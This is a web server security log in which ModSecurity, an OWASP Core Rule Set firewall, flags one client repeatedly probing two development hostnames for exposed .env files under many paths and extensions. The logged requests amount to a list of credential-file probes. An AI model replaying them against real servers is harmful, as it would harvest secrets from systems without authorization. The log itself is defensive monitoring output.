[Fri Jul 17 09:14:20.945839 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFFCBpfuYyhJ140vVwQAAAB4"]
[Fri Jul 17 09:14:20.975524 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/internal/.env"] [unique_id "almlFA7FYe46zHK_jL3S-wAAABk"]
[Fri Jul 17 09:14:20.975808 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/internal/.env"] [unique_id "almlFA7FYe46zHK_jL3S-wAAABk"]
[Fri Jul 17 09:14:20.976091 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFA7FYe46zHK_jL3S-wAAABk"]
[Fri Jul 17 09:14:20.978158 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:21.118660 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env_copy"] [unique_id "almlFV1_86A5R6msWNfXaAAAABI"]
[Fri Jul 17 09:14:21.120528 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env_copy"] [unique_id "almlFV1_86A5R6msWNfXaAAAABI"]
[Fri Jul 17 09:14:21.145696 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/tools/.env"] [unique_id "almlFUgVnBK6wAv37w6vqgAAABQ"]
[Fri Jul 17 09:14:21.146092 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/tools/.env"] [unique_id "almlFUgVnBK6wAv37w6vqgAAABQ"]
[Fri Jul 17 09:14:21.146495 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFUgVnBK6wAv37w6vqgAAABQ"]
[Fri Jul 17 09:14:21.313905 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/scripts/.env"] [unique_id "almlFRHlOGcokz2QIwTWVwAAAAM"]
[Fri Jul 17 09:14:21.314209 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/scripts/.env"] [unique_id "almlFRHlOGcokz2QIwTWVwAAAAM"]
[Fri Jul 17 09:14:21.314541 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFRHlOGcokz2QIwTWVwAAAAM"]
[Fri Jul 17 09:14:21.365863 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFV1_86A5R6msWNfXaAAAABI"]
[Fri Jul 17 09:14:21.486557 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/bin/.env"] [unique_id "almlFVCBpfuYyhJ140vVwgAAAB4"]
[Fri Jul 17 09:14:21.489421 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/bin/.env"] [unique_id "almlFVCBpfuYyhJ140vVwgAAAB4"]
[Fri Jul 17 09:14:21.490147 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFVCBpfuYyhJ140vVwgAAAB4"]
[Fri Jul 17 09:14:21.534967 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.txt"] [unique_id "almlFYl9vhFBGA6D8l99IAAAAAw"]
[Fri Jul 17 09:14:21.536233 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.txt"] [unique_id "almlFYl9vhFBGA6D8l99IAAAAAw"]
[Fri Jul 17 09:14:21.664844 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sbin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sbin/.env"] [unique_id "almlFboj0IkvhSCYadmExgAAAAQ"]
[Fri Jul 17 09:14:21.665092 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sbin/.env"] [unique_id "almlFboj0IkvhSCYadmExgAAAAQ"]
[Fri Jul 17 09:14:21.665367 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFboj0IkvhSCYadmExgAAAAQ"]
[Fri Jul 17 09:14:21.757927 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlFIe39YUk0SgV8AU9MwAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1217&page_105=2064
[Fri Jul 17 09:14:21.757985 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlFIe39YUk0SgV8AU9MwAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1217&page_105=2064
[Fri Jul 17 09:14:21.770726 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFYl9vhFBGA6D8l99IAAAAAw"]
[Fri Jul 17 09:14:21.842208 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:60932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:21.844555 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/local/.env"] [unique_id "almlFRHlOGcokz2QIwTWWAAAAAM"]
[Fri Jul 17 09:14:21.844844 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/local/.env"] [unique_id "almlFRHlOGcokz2QIwTWWAAAAAM"]
[Fri Jul 17 09:14:21.845149 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFRHlOGcokz2QIwTWWAAAAAM"]
[Fri Jul 17 09:14:21.940588 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.json"] [unique_id "almlFbEKozcCJ-ReuK0F7AAAAAg"]
[Fri Jul 17 09:14:21.941964 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.json"] [unique_id "almlFbEKozcCJ-ReuK0F7AAAAAg"]
[Fri Jul 17 09:14:22.012529 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/portal/.env"] [unique_id "almlFpBVIrrUwtEhdafUBQAAAAU"]
[Fri Jul 17 09:14:22.012819 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/portal/.env"] [unique_id "almlFpBVIrrUwtEhdafUBQAAAAU"]
[Fri Jul 17 09:14:22.013061 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFpBVIrrUwtEhdafUBQAAAAU"]
[Fri Jul 17 09:14:22.168633 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFbEKozcCJ-ReuK0F7AAAAAg"]
[Fri Jul 17 09:14:22.180424 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dashboard/.env"] [unique_id "almlFg7FYe46zHK_jL3S_QAAABk"]
[Fri Jul 17 09:14:22.180685 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dashboard/.env"] [unique_id "almlFg7FYe46zHK_jL3S_QAAABk"]
[Fri Jul 17 09:14:22.180929 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFg7FYe46zHK_jL3S_QAAABk"]
[Fri Jul 17 09:14:22.338141 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.yaml"] [unique_id "almlFrEWOaI5pmYo9fnRzgAAAAA"]
[Fri Jul 17 09:14:22.339363 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.yaml"] [unique_id "almlFrEWOaI5pmYo9fnRzgAAAAA"]
[Fri Jul 17 09:14:22.349631 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/panel/.env"] [unique_id "almlFkgVnBK6wAv37w6vrAAAABQ"]
[Fri Jul 17 09:14:22.349886 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/panel/.env"] [unique_id "almlFkgVnBK6wAv37w6vrAAAABQ"]
